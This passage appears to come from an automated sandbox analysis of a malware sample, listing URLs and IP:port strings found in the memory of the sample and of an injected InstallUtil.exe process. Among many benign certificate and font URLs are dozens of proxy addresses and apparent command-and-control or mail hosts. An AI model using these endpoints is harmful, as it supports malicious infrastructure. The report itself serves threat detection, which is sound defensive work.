Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://97.74.233.206:42801
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://97.74.233.206:42801://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995E16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://97.79.238.251:32016
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995E16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://97.79.238.251:32016://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199A8AB000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://97.79.238.65:48576
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199A8AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://97.79.238.65:48576://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995922000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.23:4145
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995922000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.23:4145://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997B83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.29:31679
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997B83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.29:31679://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119994D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.4:31654
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119994D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.4:31654://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.7:31653
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.7:31653://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994ACE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.170.57.231:4145
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994ACE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.170.57.231:4145://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995BEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.170.57.249:4145
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.170.57.249:4145://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.175.31.195:4145
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.175.31.195:4145://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994D51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.178.72.21:10919
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994D51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.178.72.21:10919://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011993F4A000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119940CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.181.137.80:4145
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011993F4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.181.137.80:4145://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997CF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.181.137.83:4145://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997D88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.181.137.83:4145x
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199A760000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.188.47.132:4145
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199474F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.188.47.132:4145://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.188.47.150:4145
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.188.47.150:4145://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994A4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.206.244.30:18301
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994A4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.206.244.30:18301://proxy
Source: InstallUtil.exe, 00000005.00000002.2985158869.00000000067B0000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2959651140.0000000003346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c0
Source: InstallUtil.exe, 00000005.00000002.2959651140.0000000003346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bananasnevis.com
Source: InstallUtil.exe, 00000005.00000002.2985158869.00000000067B0000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2959651140.0000000003346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cps.root-x1.letsencrypt.org0
Source: InstallUtil.exe, 00000005.00000002.2985158869.00000000067B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.i
Source: InstallUtil.exe, 00000005.00000002.2985158869.00000000067B0000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2959651140.0000000003346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crl0
Source: n1KVzXM8Wk.exe, 00000000.00000002.2449218733.00000119AE1BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pki.goog/
Source: n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF704000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2449218733.00000119AE03C000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF779000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF7E2000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199AC2C000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF686000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF69A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pki.goog/gsr1/gsr1.crl0;
Source: n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF704000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF779000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2449218733.00000119AE07E000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF7E2000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199AC2C000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF686000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2449218733.00000119ADFF0000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF652000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF69A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pki.goog/gtsr1/gtsr1.crl0M
Source: n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF704000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199458A000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF779000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997F32000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997F42000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995BC8000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119949E1000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994404000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997C5F000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997DE4000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199A760000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF7E2000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199ACE2000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119989C4000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994173000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199AC2C000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119993F3000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011999FD3000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996E63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crls.pki.goog/gts1p5/0jT46UX4DmY.crl0
Source: n1KVzXM8Wk.exe, 00000000.00000002.2436168207.00000119AC5FA000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.0.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: n1KVzXM8Wk.exe, 00000000.00000002.2436168207.00000119AC5FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enG
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997B83000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119948D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://heygirlisheeverythingyouwantedinaman.com:443
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011993FB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://heygirlisheeverythingyouwantedinaman.com:443/
Source: InstallUtil.exe, 00000005.00000002.2959651140.0000000003346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.bananasnevis.com
Source: n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF704000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2449218733.00000119AE03C000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF779000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF7E2000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199AC2C000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF686000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF69A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.pki.goog/gsr10)
Source: n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF704000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF779000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2449218733.00000119AE07E000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF7E2000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199AC2C000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF686000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2449218733.00000119ADFF0000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF652000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF69A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.pki.goog/gtsr100
Source: n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF6C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.pki.goog/s/gts1p5/
Source: n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF704000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199458A000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF779000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997F32000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997F42000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995BC8000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119949E1000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994404000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997C5F000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997DE4000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199A760000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF7E2000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199ACE2000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119989C4000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994173000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199AC2C000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119993F3000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011999FD3000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996E63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.pki.goog/s/gts1p5/uFgUyufpvHQ01
Source: n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF704000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2449218733.00000119AE03C000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF779000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF7E2000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199AC2C000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF686000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF69A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pki.goog/gsr1/gsr1.crt02
Source: n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF704000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199458A000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF779000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997F32000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997F42000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995BC8000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119949E1000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994404000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997C5F000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997DE4000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199A760000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF7E2000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199ACE2000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119989C4000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994173000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199AC2C000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995FE4000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119993F3000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011999FD3000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996E63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pki.goog/repo/certs/gts1p5.der0_
Source: n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF704000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF779000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2449218733.00000119AE07E000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF7E2000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199AC2C000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF686000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2449218733.00000119ADFF0000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF652000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2458807813.00000119AF69A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pki.goog/repo/certs/gtsr1.der04
Source: InstallUtil.exe, 00000005.00000002.2985158869.00000000067B0000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2959651140.0000000003346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0b
Source: InstallUtil.exe, 00000005.00000002.2985158869.00000000067B0000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2959651140.0000000003346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A3CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schema.org/SoftwareSourceCode
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011993C41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119989D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://support.olfeo.com/sites/olfeo/files/foundation_logo.png
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011996D52000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998947000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998792000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199873C000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994E13000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119989ED000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199A40E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.freecsstemplates.org
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199A40E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.squid-cache.org/Artwork/SN.png
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994123000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997D88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
Source: n1KVzXM8Wk.exe, 00000000.00000002.2442487415.00000119AD8F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: InstallUtil.exe, 00000005.00000002.2985158869.00000000067B0000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2959651140.0000000003346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: InstallUtil.exe, 00000005.00000002.2985158869.00000000067B0000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2959651140.0000000003346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
